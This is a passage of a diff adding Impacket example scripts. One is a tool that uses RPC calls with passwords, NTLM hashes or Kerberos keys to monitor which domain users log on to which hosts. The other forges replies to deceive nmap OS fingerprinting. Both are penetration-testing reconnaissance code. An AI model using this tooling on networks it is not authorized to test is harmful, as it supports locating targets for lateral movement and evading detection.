+                    self.getLoggedIn(target) 
+                except (SessionError, DCERPCException) as e:
+                    # We will silently pass these ones, might be issues with Kerberos, or DCE
+                    if str(e).find('LOGON_FAILURE') >=0:
+                        # For some reason our credentials don't work there, 
+                        # taking it out from the list.
+                        logging.error('STATUS_LOGON_FAILURE for %s, discarding' % target)
+                        del(self.__targets[target])
+                    elif str(e).find('INVALID_PARAMETER') >=0:
+                        del(self.__targets[target])
+                    elif str(e).find('access_denied') >=0:
+                        # Can't access the target RPC call, most probably a Unix host
+                        # taking it out from the list
+                        del(self.__targets[target])
+                    else:
+                        logging.info(str(e))
+                    pass 
+                except KeyboardInterrupt:
+                    raise
+                except Exception as e:
+                    #import traceback
+                    #traceback.print_exc()
+                    if str(e).find('timed out') >=0:
+                        # Most probably this site went down. taking it out
+                        # ToDo: add it back to the list of machines to check in
+                        # the separate thread - DONE
+                        del(self.__targets[target])
+                        machinesDownQueue.put(target)
+                    else:
+                        # These ones we will report
+                        logging.error(e)
+                    pass
+
+            if self.__options.noloop is True:
+                break
+
+            logging.debug('Sleeping for %s seconds' % self.__options.delay)
+            logging.debug('Currently monitoring %d active targets' % len(self.__targets))
+            sleep(int(self.__options.delay))
+
+    def getSessions(self, target):
+        if self.__targets[target]['SRVS'] is None:
+            stringSrvsBinding = r'ncacn_np:%s[\PIPE\srvsvc]' % target
+            rpctransportSrvs = transport.DCERPCTransportFactory(stringSrvsBinding)
+            if hasattr(rpctransportSrvs, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+                rpctransportSrvs.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
+                                                 self.__nthash, self.__aesKey)
+                rpctransportSrvs.set_kerberos(self.__doKerberos, self.__kdcHost)
+
+            dce = rpctransportSrvs.get_dce_rpc()
+            dce.connect()
+            dce.bind(srvs.MSRPC_UUID_SRVS)
+            self.__maxConnections -= 1
+        else:
+            dce = self.__targets[target]['SRVS']
+
+        try:
+            resp = srvs.hNetrSessionEnum(dce, '\x00', NULL, 10)
+        except Exception as e:
+            if str(e).find('Broken pipe') >= 0:
+                # The connection timed-out. Let's try to bring it back next round
+                self.__targets[target]['SRVS'] = None
+                self.__maxConnections += 1
+                return
+            else:
+                raise
+
+        if self.__maxConnections < 0:
+            # Can't keep this connection open. Closing it
+            dce.disconnect()
+            self.__maxConnections = 0
+        else:
+             self.__targets[target]['SRVS'] = dce
+
+        # Let's see who createad a connection since last check
+        tmpSession = list()
+        printCRLF = False
+        for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
+            userName = session['sesi10_username'][:-1]
+            sourceIP = session['sesi10_cname'][:-1][2:]
+            key = '%s\x01%s' % (userName, sourceIP)
+            myEntry = '%s\x01%s' % (self.__username, myIP)
+            tmpSession.append(key)
+            if not(key in self.__targets[target]['Sessions']):
+                # Skipping myself
+                if key != myEntry:
+                    self.__targets[target]['Sessions'].append(key)
+                    # Are we filtering users?
+                    if self.__filterUsers is not None:
+                        if userName in self.__filterUsers:
+                            print("%s: user %s logged from host %s - active: %d, idle: %d" % (
+                            target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time']))
+                            printCRLF = True
+                    else:
+                        print("%s: user %s logged from host %s - active: %d, idle: %d" % (
+                        target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time']))
+                        printCRLF = True
+
+        # Let's see who deleted a connection since last check
+        for nItem, session in enumerate(self.__targets[target]['Sessions']):
+            userName, sourceIP = session.split('\x01')
+            if session not in tmpSession:
+                del(self.__targets[target]['Sessions'][nItem])
+                # Are we filtering users?
+                if self.__filterUsers is not None:
+                    if userName in self.__filterUsers:
+                        print("%s: user %s logged off from host %s" % (target, userName, sourceIP))
+                        printCRLF=True
+                else:
+                    print("%s: user %s logged off from host %s" % (target, userName, sourceIP))
+                    printCRLF=True
+                
+        if printCRLF is True:
+            print()
+        
+    def getLoggedIn(self, target):
+        if self.__targets[target]['Admin'] is False:
+            return
+
+        if self.__targets[target]['WKST'] is None:
+            stringWkstBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % target
+            rpctransportWkst = transport.DCERPCTransportFactory(stringWkstBinding)
+            if hasattr(rpctransportWkst, 'set_credentials'):
+                # This method exists only for selected protocol sequences.
+                rpctransportWkst.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
+                                                 self.__nthash, self.__aesKey)
+                rpctransportWkst.set_kerberos(self.__doKerberos, self.__kdcHost)
+
+            dce = rpctransportWkst.get_dce_rpc()
+            dce.connect()
+            dce.bind(wkst.MSRPC_UUID_WKST)
+            self.__maxConnections -= 1
+        else:
+            dce = self.__targets[target]['WKST']
+
+        try:
+            resp = wkst.hNetrWkstaUserEnum(dce,1)
+        except Exception as e:
+            if str(e).find('Broken pipe') >= 0:
+                # The connection timed-out. Let's try to bring it back next round
+                self.__targets[target]['WKST'] = None
+                self.__maxConnections += 1
+                return
+            elif str(e).upper().find('ACCESS_DENIED'):
+                # We're not admin, bye
+                dce.disconnect()
+                self.__maxConnections += 1
+                self.__targets[target]['Admin'] = False
+                return
+            else:
+                raise
+
+        if self.__maxConnections < 0:
+            # Can't keep this connection open. Closing it
+            dce.disconnect()
+            self.__maxConnections = 0
+        else:
+             self.__targets[target]['WKST'] = dce
+
+        # Let's see who looged in locally since last check
+        tmpLoggedUsers = set()
+        printCRLF = False
+        for session in resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']:
+            userName = session['wkui1_username'][:-1]
+            logonDomain = session['wkui1_logon_domain'][:-1]
+            key = '%s\x01%s' % (userName, logonDomain)
+            tmpLoggedUsers.add(key)
+            if not(key in self.__targets[target]['LoggedIn']):
+                self.__targets[target]['LoggedIn'].add(key)
+                # Are we filtering users?
+                if self.__filterUsers is not None:
+                    if userName in self.__filterUsers:
+                        print("%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName))
+                        printCRLF=True
+                else:
+                    print("%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName))
+                    printCRLF=True
+
+        # Let's see who logged out since last check
+        for session in self.__targets[target]['LoggedIn'].copy():
+            userName, logonDomain = session.split('\x01')
+            if session not in tmpLoggedUsers:
+                self.__targets[target]['LoggedIn'].remove(session)
+                # Are we filtering users?
+                if self.__filterUsers is not None:
+                    if userName in self.__filterUsers:
+                        print("%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName))
+                        printCRLF=True
+                else:
+                    print("%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName))
+                    printCRLF=True
+                
+        if printCRLF is True:
+            print()
+
+    def stop(self):
+        if self.__targetsThreadEvent is not None:
+            self.__targetsThreadEvent.set()
+        
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser()
+
+    parser.add_argument('identity', action='store', help='[domain/]username[:password]')
+    parser.add_argument('-user', action='store', help='Filter output by this user')
+    parser.add_argument('-users', type=argparse.FileType('r'), help='input file with list of users to filter to output for')
+    #parser.add_argument('-group', action='store', help='Filter output by members of this group')
+    #parser.add_argument('-groups', type=argparse.FileType('r'), help='Filter output by members of the groups included in the input file')
+    parser.add_argument('-target', action='store', help='target system to query info from. If not specified script will '
+                                                        'run in domain mode.')
+    parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query info '
+                        'from (one per line). If not specified script will run in domain mode.')
+    parser.add_argument('-noloop', action='store_true', default=False, help='Stop after the first probe')
+    parser.add_argument('-delay', action='store', default = '10', help='seconds delay between starting each batch probe '
+                                                                       '(default 10 seconds)')
+    parser.add_argument('-max-connections', action='store', default='1000', help='Max amount of connections to keep '
+                                                                                 'opened (default 1000)')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
+                       'ommited it use the domain part (FQDN) specified in the target parameter')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password = parse_credentials(options.identity)
+
+    try:
+        if domain is None:
+            domain = ''
+
+        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+            from getpass import getpass
+            password = getpass("Password:")
+
+        if options.aesKey is not None:
+            options.k = True
+
+        executer = USERENUM(username, password, domain, options.hashes, options.aesKey, options.k, options)
+        executer.run()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.error(e)
+        executer.stop()
+    except KeyboardInterrupt:
+        logging.info('Quitting.. please wait') 
+        executer.stop()
+    sys.exit(0)
diff --git a/examples/nmapAnswerMachine.py b/examples/nmapAnswerMachine.py
new file mode 100644
index 0000000..89ef751
--- /dev/null
+++ b/examples/nmapAnswerMachine.py
@@ -0,0 +1,1127 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+
+import uncrc32
+
+try:
+    import pcap as pcapy
+except ImportError:
+    import pcapy
+
+from impacket import ImpactPacket
+from impacket import ImpactDecoder
+from impacket.ImpactPacket import TCPOption, array_tobytes
+from impacket.examples import logger
+from impacket.examples import os_ident
+
+#defaults
+
+MAC = "01:02:03:04:05:06"
+IP  = "192.168.67.254"
+IFACE = "eth0"
+OPEN_TCP_PORTS = [80, 443]
+OPEN_UDP_PORTS = [111]
+UDP_CMD_PORT = 12345
+nmapOSDB = '/usr/share/nmap/nmap-os-db'
+
+# Fingerprint = 'Adtran NetVanta 3200 router' # CD=Z TOSI=Z <----------- NMAP detects it as Linux!!!
+# Fingerprint = 'ADIC Scalar 1000 tape library remote management unit' # DFI=S
+# Fingerprint = 'Siemens Gigaset SX541 or USRobotics USR9111 wireless DSL modem' # DFI=O U1(DF=N IPL=38)
+# Fingerprint = 'Apple Mac OS X 10.5.6 (Leopard) (Darwin 9.6.0)' # DFI=Y SI=S U1(DF=Y)
+
+Fingerprint = 'Sun Solaris 10 (SPARC)' 
+# Fingerprint = 'Sun Solaris 9 (x86)'
+
+# Fingerprint = '3Com OfficeConnect 3CRWER100-75 wireless broadband router'  # TI=Z DFI=N !SS TI=Z II=I
+# Fingerprint = 'WatchGuard Firebox X5w firewall/WAP' # TI=RD
+# no TI=Hex
+# Fingerprint = 'FreeBSD 6.0-STABLE - 6.2-RELEASE' # TI=RI
+# Fingerprint = 'Microsoft Windows 98 SE' # TI=BI ----> BROKEN! nmap shows no SEQ() output
+# Fingerprint = 'Microsoft Windows NT 4.0 SP5 - SP6' # TI=BI TOSI=S SS=S
+# Fingerprint = 'Microsoft Windows Vista Business' # TI=I U1(IPL=164)
+
+# Fingerprint = 'FreeBSD 6.1-RELEASE' # no TI (TI=O)
+
+# Fingerprint = '2Wire 1701HG wireless ADSL modem' # IE(R=N)
+
+# Fingerprint = 'Cisco Catalyst 1912 switch' # TOSI=O SS=S
+
+O_ETH = 0
+O_IP  = 1
+O_ARP = 1
+O_UDP = 2
+O_TCP = 2
+O_ICMP = 2
+O_UDP_DATA = 3
+O_ICMP_DATA = 3
+
+def string2tuple(string):
+    if string.find(':') >= 0:
+       return [int(x) for x in string.split(':')]
+    else:
+       return [int(x) for x in string.split('.')]
+
+class Responder:
+   templateClass = None
+   signatureName      = None
+
+   def __init__(self, machine):
+       self.machine = machine
+       print("Initializing %s" % self.__class__.__name__)
+       self.initTemplate()
+       self.initFingerprint()
+
+   def initTemplate(self):
+       if not self.templateClass:
+          self.template_onion = None
+       else:
+          try:
+             probe = self.templateClass(0, ['0.0.0.0',self.getIP()],[0, 0])
+          except:
+             probe = self.templateClass(0, ['0.0.0.0',self.getIP()])
+          self.template_onion = [probe.get_packet()]
+          try:
+              while 1: self.template_onion.append (self.template_onion[-1].child ())
+          except: pass
+       
+          # print("Template: %s" % self.template_onion[O_ETH])
+          # print("Options: %r" % self.template_onion[O_TCP].get_padded_options())
+          # print("Flags: 0x%04x" % self.template_onion[O_TCP].get_th_flags())
+
+   def initFingerprint(self):
+       if not self.signatureName:
+          self.fingerprint = None
+       else:
+          self.fingerprint = self.machine.fingerprint.get_tests()[self.signatureName].copy()
+
+   def isMine(self, in_onion):
+       return False
+
+   def buildAnswer(self, in_onion):
+       return None
+
+   def sendAnswer(self, out_onion):
+       self.machine.sendPacket(out_onion)
+
+   def process(self, in_onion):
+       if not self.isMine(in_onion): return False
+       print("Got packet for %s" % self.__class__.__name__)
+
+       out_onion = self.buildAnswer(in_onion)
+
+       if out_onion: self.sendAnswer(out_onion)
+       return True
+
+   def getIP(self):
+       return self.machine.ipAddress
+
+# Generic Responders (does the word Responder exist?)
+
+class ARPResponder(Responder):
+   def isMine(self, in_onion):
+       if len(in_onion) < 2: return False
+
+       if in_onion[O_ARP].ethertype != ImpactPacket.ARP.ethertype:
+          return False
+
+       return (
+          in_onion[O_ARP].get_ar_op() == 1 and # ARP REQUEST
+          in_onion[O_ARP].get_ar_tpa() == string2tuple(self.machine.ipAddress))
+
+   def buildAnswer(self, in_onion):
+       eth = ImpactPacket.Ethernet()
+       arp = ImpactPacket.ARP()
+       eth.contains(arp)
+
+       arp.set_ar_hrd(1)	# Hardward type Ethernet
+       arp.set_ar_pro(0x800)	# IP
+       arp.set_ar_op(2)	# REPLY
+       arp.set_ar_hln(6)
+       arp.set_ar_pln(4)
+       arp.set_ar_sha(string2tuple(self.machine.macAddress))
+       arp.set_ar_spa(string2tuple(self.machine.ipAddress))
+       arp.set_ar_tha(in_onion[O_ARP].get_ar_sha())
+       arp.set_ar_tpa(in_onion[O_ARP].get_ar_spa())
+
+       eth.set_ether_shost(arp.get_ar_sha())
+       eth.set_ether_dhost(arp.get_ar_tha())
+
+       return [eth, arp]
+
+class IPResponder(Responder):
+   def buildAnswer(self, in_onion):
+       eth = ImpactPacket.Ethernet()
+       ip = ImpactPacket.IP()
+
+       eth.contains(ip)
+
+       eth.set_ether_shost(in_onion[O_ETH].get_ether_dhost())
+       eth.set_ether_dhost(in_onion[O_ETH].get_ether_shost())
+
+       ip.set_ip_src(in_onion[O_IP].get_ip_dst())
+       ip.set_ip_dst(in_onion[O_IP].get_ip_src())
+       ip.set_ip_id(self.machine.getIPID())
+
+       return [eth, ip]
+
+   def sameIPFlags(self, in_onion):
+       if not self.template_onion: return True
+       return (self.template_onion[O_IP].get_ip_off() & 0xe000) == (in_onion[O_IP].get_ip_off() & 0xe000)
+
+   def isMine(self, in_onion):
+       if len(in_onion) < 2: return False
+
+       return (
+           (in_onion[O_IP].ethertype == ImpactPacket.IP.ethertype) and
+           (in_onion[O_IP].get_ip_dst() == self.machine.ipAddress) and
+           self.sameIPFlags(in_onion)
+       )
+
+   def setTTLFromFingerprint(self, out_onion):
+       f = self.fingerprint
+       # Test T: Initial TTL = range_low-range_hi, base 16
+       # Assumption: we are using the minimum in the TTL range
+       try:
+          ttl = f['T'].split('-')
+          ttl = int(ttl[0], 16)
+       except:
+          ttl = 0x7f
+
+       # Test TG: Initial TTL Guess. It's just a number, we prefer this
+       try: ttl = int(f['TG'], 16)
+       except: pass
+
+       out_onion[O_IP].set_ip_ttl(ttl)
+
+class ICMPResponder(IPResponder):
+   def buildAnswer(self, in_onion):
+       out_onion = IPResponder.buildAnswer(self, in_onion)
+       icmp = ImpactPacket.ICMP()
+
+       out_onion[O_IP].contains(icmp)
+       out_onion.append(icmp)
+
+       icmp.set_icmp_id(in_onion[O_ICMP].get_icmp_id())
+       icmp.set_icmp_seq(in_onion[O_ICMP].get_icmp_seq())
+
+       out_onion[O_IP].set_ip_id(self.machine.getIPID_ICMP())
+
+       return out_onion
+
+   def isMine(self, in_onion):
+       if not IPResponder.isMine(self, in_onion): return False
+       if len(in_onion) < 3: return False
+
+       return (in_onion[O_ICMP].protocol == ImpactPacket.ICMP.protocol) and self.sameICMPTemplate(in_onion)
+
+   def sameICMPTemplate(self, in_onion):
+       t_ip           = self.template_onion[O_IP]
+       t_icmp         = self.template_onion[O_ICMP]
+       t_icmp_datalen = self.template_onion[O_ICMP_DATA].get_size()
+
+       return (
+               (t_ip.get_ip_tos () == in_onion[O_IP].get_ip_tos ()) and (
+                   t_ip.get_ip_df () == in_onion[O_IP].get_ip_df ()) and (
+                           t_icmp.get_icmp_type () == in_onion[O_ICMP].get_icmp_type ()) and (
+                           t_icmp.get_icmp_code () == in_onion[O_ICMP].get_icmp_code ()) and (
+                           t_icmp_datalen == in_onion[O_ICMP_DATA].get_size ())
+       )
+
+class UDPResponder(IPResponder):
+   def isMine(self, in_onion):
+       return (
+           IPResponder.isMine(self, in_onion) and
+           (len(in_onion) >= 3) and
+           (in_onion[O_UDP].protocol == ImpactPacket.UDP.protocol)
+       )
+
+class OpenUDPResponder(UDPResponder):
+   def isMine(self, in_onion):
+       return (
+          UDPResponder.isMine(self, in_onion) and
+          self.machine.isUDPPortOpen(in_onion[O_UDP].get_uh_dport()))
+
+   def buildAnswer(self, in_onion):
+       out_onion = IPResponder.buildAnswer(self, in_onion)
+       udp = ImpactPacket.UDP()
+
+       out_onion[O_IP].contains(udp)
+       out_onion.append(udp)
+
+       udp.set_uh_dport(in_onion[O_UDP].get_uh_sport())
+       udp.set_uh_sport(in_onion[O_UDP].get_uh_dport())
+
+       return out_onion
+
+class ClosedUDPResponder(UDPResponder):
+   def isMine(self, in_onion):
+       return (
+          UDPResponder.isMine(self, in_onion) and
+          not self.machine.isUDPPortOpen(in_onion[O_UDP].get_uh_dport()))
+
+   def buildAnswer(self, in_onion):
+       out_onion = IPResponder.buildAnswer(self, in_onion)
+       icmp = ImpactPacket.ICMP()
+
+       out_onion[O_IP].contains(icmp)
+       out_onion.append(icmp)
+
+       icmp.contains(in_onion[O_IP])
+       out_onion += in_onion[O_IP:]
+
+       icmp.set_icmp_type(icmp.ICMP_UNREACH)
+       icmp.set_icmp_code(icmp.ICMP_UNREACH_PORT)
+
+       return out_onion
+
+class TCPResponder(IPResponder):
+   def buildAnswer(self, in_onion):
+       out_onion = IPResponder.buildAnswer(self, in_onion)
+       tcp = ImpactPacket.TCP()
+
+       out_onion[O_IP].contains(tcp)
+       out_onion.append(tcp)
+
+       tcp.set_th_dport(in_onion[O_TCP].get_th_sport())
+       tcp.set_th_sport(in_onion[O_TCP].get_th_dport())
+
+       return out_onion
+
+   def sameTCPFlags(self, in_onion):
+       if not self.template_onion: return True
+       in_flags = in_onion[O_TCP].get_th_flags() & 0xfff
+       t_flags  = self.template_onion[O_TCP].get_th_flags() & 0xfff
+
+       return in_flags == t_flags
+
+   def sameTCPOptions(self, in_onion):
+       if not self.template_onion: return True
+       in_options = in_onion[O_TCP].get_padded_options()
+       t_options  = self.template_onion[O_TCP].get_padded_options()
+
+       return in_options == t_options
+
+   def isMine(self, in_onion):
+       if not IPResponder.isMine(self, in_onion): return False
+       if len(in_onion) < 3: return False
+
+       return (in_onion[O_TCP].protocol == ImpactPacket.TCP.protocol and self.sameTCPFlags (in_onion) and self.sameTCPOptions (
+           in_onion))
+
+class OpenTCPResponder(TCPResponder):
+   def isMine(self, in_onion):
+       return (TCPResponder.isMine (self, in_onion) and in_onion[O_TCP].get_SYN () and self.machine.isTCPPortOpen (
+           in_onion[O_TCP].get_th_dport ()))
+
+   def buildAnswer(self, in_onion):
+       out_onion = TCPResponder.buildAnswer(self, in_onion)
+
+       out_onion[O_TCP].set_SYN()
+       out_onion[O_TCP].set_ACK()
+       out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1)
+       out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence())
+
+       return out_onion
+
+class ClosedTCPResponder(TCPResponder):
+   def isMine(self, in_onion):
+       return (
+          TCPResponder.isMine(self, in_onion) and 
+          in_onion[O_TCP].get_SYN() and
+          not self.machine.isTCPPortOpen(in_onion[O_TCP].get_th_dport()))
+
+   def buildAnswer(self, in_onion):
+       out_onion = TCPResponder.buildAnswer(self, in_onion)
+
+       out_onion[O_TCP].set_RST()
+       out_onion[O_TCP].set_ACK()
+       out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1)
+       out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence())
+
+       return out_onion
+
+class UDPCommandResponder(OpenUDPResponder):
+   # default UDP_CMD_PORT is 12345
+   # use with:
+   # echo cmd:exit | nc -u $(IP) $(UDP_CMD_PORT)
+   # echo cmd:who | nc -u $(IP) $(UDP_CMD_PORT)
+
+   def set_port(self, port):
+       self.port = port
+       self.machine.openUDPPort(port)
+       return self
+
+   def isMine(self, in_onion):
+       return ( OpenUDPResponder.isMine(self, in_onion))# and
+          #in_onion[O_UDP].get_uh_dport() == self.port)
+
+   def buildAnswer(self, in_onion):
+       cmd = array_tobytes(in_onion[O_UDP_DATA].get_bytes())
+       if cmd[:4] == 'cmd:': cmd = cmd[4:].strip()
+       print("Got command: %r" % cmd)
+
+       if cmd == 'exit':
+          from sys import exit
+          exit()
+
+       out_onion = OpenUDPResponder.buildAnswer(self, in_onion)
+       out_onion.append(ImpactPacket.Data())
+       out_onion[O_UDP].contains(out_onion[O_UDP_DATA])
+       if cmd == 'who':
+          out_onion[O_UDP_DATA].set_data(self.machine.fingerprint.get_id())
+          
+       return out_onion
+
+# NMAP2 specific responders
+class NMAP2UDPResponder(ClosedUDPResponder):
+   signatureName      = 'U1'
+
+   # No real need to filter
+   # def isMine(self, in_onion):
+   #     return (
+   #        ClosedUDPResponder.isMine(self, inOnion) and
+   #        (in_onion[O_UDP_DATA].get_size() == 300))
+
+   def buildAnswer(self, in_onion):
+       out_onion = ClosedUDPResponder.buildAnswer(self, in_onion)
+       f = self.fingerprint
+
+       # assume R = Y
+       try:
+          if (f['R'] == 'N'): return None
+       except: pass
+
+       # Test DF: Don't fragment IP bit set = [YN]
+       if (f['DF'] == 'Y'): out_onion[O_IP].set_ip_df(True)
+       else: out_onion[O_IP].set_ip_df(False)
+
+       self.setTTLFromFingerprint(out_onion)
+
+       # UN. Assume 0
+       try: un = int(f['UN'],16)
+       except: un = 0
+       out_onion[O_ICMP].set_icmp_void(un)
+
+       # RIPL. Assume original packet just quoted
+       try:
+          ripl = int(f['RIPL'],16)	# G generates exception
+          out_onion[O_ICMP_DATA].set_ip_len(ripl)
+       except:
+          pass
+
+       # RID. Assume original packet just quoted
+       try:
+          rid = int(f['RID'],16)	# G generates exception
+          out_onion[O_ICMP_DATA].set_ip_id(rid)
+       except:
+          pass
+
+       # RIPCK. Assume original packet just quoted
+       try: ripck = f['RIPCK']
+       except: ripck = 'G'
+       if   ripck == 'I': out_onion[O_ICMP_DATA].set_ip_sum(0x6765)
+       elif ripck == 'Z': out_onion[O_ICMP_DATA].set_ip_sum(0)
+       elif ripck == 'G': out_onion[O_ICMP_DATA].auto_checksum = 0
+
+       # RUCK. Assume original packet just quoted
+       try:
+          ruck = int(f['RUCK'], 16)
+          out_onion[O_ICMP_DATA+1].set_uh_sum(ruck)
+       except: 
+          out_onion[O_ICMP_DATA+1].auto_checksum = 0
+
+       # RUD. Assume original packet just quoted
+       try: rud = f['RUD']
+       except: rud = 'G'
+
+       if rud == 'I':
+          udp_data = out_onion[O_ICMP_DATA+2]
+          udp_data.set_data('G'*udp_data.get_size())
+
+       # IPL. Assume all original packet is quoted
+       # This has to be the last thing we do
+       # as we are going to render the packet before doing it
+       try: ipl = int(f['IPL'], 16)
+       except: ipl = None
+
+       if not ipl is None:
+          data = out_onion[O_ICMP_DATA].get_packet()
+          out_onion[O_ICMP].contains(ImpactPacket.Data())
+          ip_and_icmp_len = out_onion[O_IP].get_size()
+
+          data = data[:ipl - ip_and_icmp_len]
+
+          data += '\x00'*(ipl-len(data)-ip_and_icmp_len)
+          out_onion = out_onion[:O_ICMP_DATA]
+          out_onion.append(ImpactPacket.Data(data))
+          out_onion[O_ICMP].contains(out_onion[O_ICMP_DATA])
+
+       return out_onion
+
+class NMAP2ICMPResponder(ICMPResponder):
+   def buildAnswer(self, in_onion):
+       f = self.fingerprint
+
+       # assume R = Y
+       try:
+          if (f['R'] == 'N'): return None
+       except: pass
+
+       out_onion = ICMPResponder.buildAnswer(self, in_onion)
+
+       # assume DFI = N
+       try: dfi = f['DFI'] 
+       except: dfi = 'N'
+
+       if   dfi == 'N': out_onion[O_IP].set_ip_df(False)
+       elif dfi == 'Y': out_onion[O_IP].set_ip_df(True)
+       elif dfi == 'S': out_onion[O_IP].set_ip_df(in_onion[O_IP].get_ip_df())
+       elif dfi == 'O': out_onion[O_IP].set_ip_df(not in_onion[O_IP].get_ip_df())
+       else: raise Exception('Unsupported IE(DFI=%s)' % dfi)
+
+       # assume DLI = S
+       try: dli = f['DLI'] 
+       except: dli = 'S'
+
+       if   dli == 'S': out_onion[O_ICMP].contains(in_onion[O_ICMP_DATA])
+       elif dli != 'Z': raise Exception('Unsupported IE(DFI=%s)' % dli)
+
+       self.setTTLFromFingerprint(out_onion)
+
+       # assume SI = S
+       try: si = f['SI'] 
+       except: si = 'S'
+
+       if   si == 'S': out_onion[O_ICMP].set_icmp_seq(in_onion[O_ICMP].get_icmp_seq())
+       elif si == 'Z': out_onion[O_ICMP].set_icmp_seq(0) # this is not currently supported by nmap, but I've done it already
+       else:
+           try: out_onion[O_ICMP].set_icmp_seq(int(si, 16)) # this is not supported either by nmap
+           except: raise Exception('Unsupported IE(SI=%s)' % si)
+
+       # assume CD = S
+       try: cd = f['CD'] 
+       except: cd = 'S'
+
+       if   cd == 'Z': out_onion[O_ICMP].set_icmp_code(0)
+       elif cd == 'S': out_onion[O_ICMP].set_icmp_code(in_onion[O_ICMP].get_icmp_code())
+       elif cd == 'O': out_onion[O_ICMP].set_icmp_code(in_onion[O_ICMP].get_icmp_code()+1)	# no examples in DB
+       else:
+           try: out_onion[O_ICMP].set_icmp_code(int(cd, 16)) # documented, but no examples available
+           except: raise Exception('Unsupported IE(CD=%s)' % cd)
+
+       # assume TOSI = S
+       try: tosi = f['TOSI'] 
+       except: tosi = 'S'
+
+       if   tosi == 'Z': out_onion[O_IP].set_ip_tos(0)
+       elif tosi == 'S': out_onion[O_IP].set_ip_tos(in_onion[O_IP].get_ip_tos())
+       elif tosi == 'O': out_onion[O_IP].set_ip_tos(in_onion[O_IP].get_ip_tos()+1)	# no examples in DB
+       else:
+           try: out_onion[O_IP].set_ip_tos(int(tosi, 16)) # documented, but no examples available
+           except: raise Exception('Unsupported IE(TOSI=%s)' % tosi)
+
+       return out_onion
+
+class NMAP2TCPResponder(TCPResponder):
+   def buildAnswer(self, in_onion):
+       out_onion = TCPResponder.buildAnswer(self, in_onion)
+
+       f = self.fingerprint
+
+       # Test R: There is a response = [YN]
+       if (f['R'] == 'N'): return None
+
+       # Test DF: Don't fragment IP bit set = [YN]
+       if (f['DF'] == 'Y'): out_onion[O_IP].set_ip_df(True)
+       else: out_onion[O_IP].set_ip_df(False)
+
+       # Test W: Initial TCP windows size
+       try: win = int(f['W'],16)
+       except: win = 0
+       out_onion[O_TCP].set_th_win(win)
+
+       self.setTTLFromFingerprint(out_onion)
+
+       # Test CC: Explicit congestion notification
+       # Two TCP flags are used in this test: ECE and CWR
+       try:
+           cc = f['CC']
+           if cc == 'N': ece,cwr = 0,0
+           if cc == 'Y': ece,cwr = 1,0
+           if cc == 'S': ece,cwr = 1,1
+           if cc == 'O': ece,cwr = 0,1
+       except:
+           ece,cwr = 0,0
+
+       if ece: out_onion[O_TCP].set_ECE()
+       else:   out_onion[O_TCP].reset_ECE()
+       if cwr: out_onion[O_TCP].set_CWR()
+       else:   out_onion[O_TCP].reset_CWR()
+
+
+       # Test O: TCP Options
+       try: options = f['O']
+       except: options = ''
+       self.setTCPOptions(out_onion, options)
+       
+       # Test S: TCP Sequence number
+       # Z: Sequence number is zero
+       # A: Sequence number is the same as the ACK in the probe
+       # A+: Sequence number is the same as the ACK in the probe + 1
+       # O: Other value
+       try: s = f['S']
+       except: s = 'O'
+       if s == 'Z': out_onion[O_TCP].set_th_seq(0)
+       if s == 'A': out_onion[O_TCP].set_th_seq(in_onion[O_TCP].get_th_ack())
+       if s == 'A+': out_onion[O_TCP].set_th_seq(in_onion[O_TCP].get_th_ack()+1)
+       if s == 'O': out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence())
+
+       # Test A: TCP ACK number
+       # Z: Ack is zero
+       # S: Ack is the same as the Squence number in the probe
+       # S+: Ack is the same as the Squence number in the probe + 1
+       # O: Other value
+       try: a = f['A']
+       except: a = 'O'
+       if a == 'Z': out_onion[O_TCP].set_th_ack(0)
+       if a == 'S': out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq())
+       if a == 'S+': out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1)
+
+       # Test Q: Quirks
+       # R: Reserved bit set (right after the header length)
